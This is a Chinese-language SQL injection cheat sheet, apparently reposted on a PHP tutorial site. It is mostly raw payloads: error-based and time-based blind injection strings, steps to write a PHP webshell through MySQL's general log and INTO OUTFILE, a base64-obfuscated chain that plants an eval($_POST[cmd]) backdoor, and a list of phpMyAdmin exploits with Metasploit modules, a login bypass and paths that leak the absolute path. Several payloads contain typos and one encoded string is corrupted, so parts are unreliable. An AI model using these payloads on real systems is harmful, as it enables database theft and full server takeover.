What are the SQL injection syntaxes?

WBOY
Release: 2023-05-13 21:52:17
forward
1109 people have browsed it

SQL注入语法

报错注入

updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

extractvalue(1,concat(0x7e,(select database()),0x7e),1)--+

select count(*) from information_schema.tabeles group by concat((select database(),floor(rand(0)*2)

select substr(version(),1,1)='X'

select substring(version(),1,1)='X'
Copy after login

列名重复报错

select * from (select name_const(version(),1))a;

select * from (select name_const((version()),1),name_const((select database()),1))a;

select * from (select * from users a join users b)c;
Copy after login

数据溢出报错

select (select(!x-~0) from (select(select user())x)a);

select ~0+!(select * from (select user())x);
Copy after login

几何函数报错

multipoint((select * from(select * from(select user())a)b));
Copy after login

case when 语句

select * from datadatabase() case id when 1 else 2 end
Copy after login

时间注入

if right((select database()),a,b)>'s' sleep(5)

if assic(substr((select database()),a,b))=98 sleep(5)

if assic(substr((select database()) from a to b))=98 sleep(5)

if ord(mid((select database()),a,b))=98 sleep(5)
Copy after login
通过日志写shell
利用条件

已知物理路径,目录可写,root权限。

查看配置

show variables like '%general';

开启general log模式

set global general_log=on;

设置日志写shell地址*

set global general_log_file="/var/www/html/log.php";

写入shell

select "<?php phpinfo();>";

通过into outfile写shell

利用条件

已知物理路径,目录可写

select '<?php  phpinfo();>' into outfile ‘/var/www/html/1.php'
Copy after login

通过导出表写入shell

use mysql;

create table shell(shell1 text not null);

insert into shell(cmd1) values('<?php  phpinfo();>');

select cmd1 from a into outfile '/var/www/html/1.php';
Copy after login

mysql from_base64函数利用

利用base64编码来加密,然后使用自定义变量接到,在使用prepare和EXECUTE来执行语句,完成日志写shell的操作。

set

set 用户定义一个变量,变量里面是sql可以执行的语句。

What are the SQL injection syntaxes?

prepare

prepare name from value;

prepare 语句用于预备一个语句,并指定名称name,然后引用改语句。

What are the SQL injection syntaxes?

execute

execute 语句用于执行预备的语句。

What are the SQL injection syntaxes?

联合起来利用

set @sql1 = (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZz1vbg=='));
/*set global general_log=on*/
PREPARE name from @sql;
EXECUTE name;
set @sql2= (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZ19maWxlPSJDOlxcTVlPQVxcd2Vicm$9$vdFxcbG9naW4ucGhwIg=='));
/*set global general_log_file="C:\\MYOA\\webroot\\login.php"*/
PREPARE name from sql2;
EXECUTE name;
select "<?php  eval($_POST[cmd]); ?>";
set @sql3 := (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZyA9IG9mZg=='));
/*set global general_log = off*/
PREPARE name from @sql3;
EXECUTE name;
Copy after login

phpmyadmin 漏洞合集

phpmyadmin存在pregreplaceeval漏洞

影响版本:3.5.x

phpmyadmin存在serversync.php后门漏洞

影响版本 phpmyadmin v3.5.2.2

msf利用模块 : exploit/multi/http/phpmyadmin3522_backdoor CVE-2012-5159

phpmyadmin 配置文件/config/config.inc.php存在命令执行漏洞

影响版本: 2.11.x

msf利用模块:exploit/unix/webapp/phpmyadmin_config CVE-2009-1151

登录处漏洞

利用方法:用户名处写入'localhost'@'@"

影响版本:2.113/2.114

php爆绝对路径

phpMyAdmin/libraries/selectlang.lib.php

phpMyAdmin/darkblueorange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpmyadmin/themes/darkblue_orange/layout.inc.php

The above is the detailed content of What are the SQL injection syntaxes?. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
sql
source:yisu.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!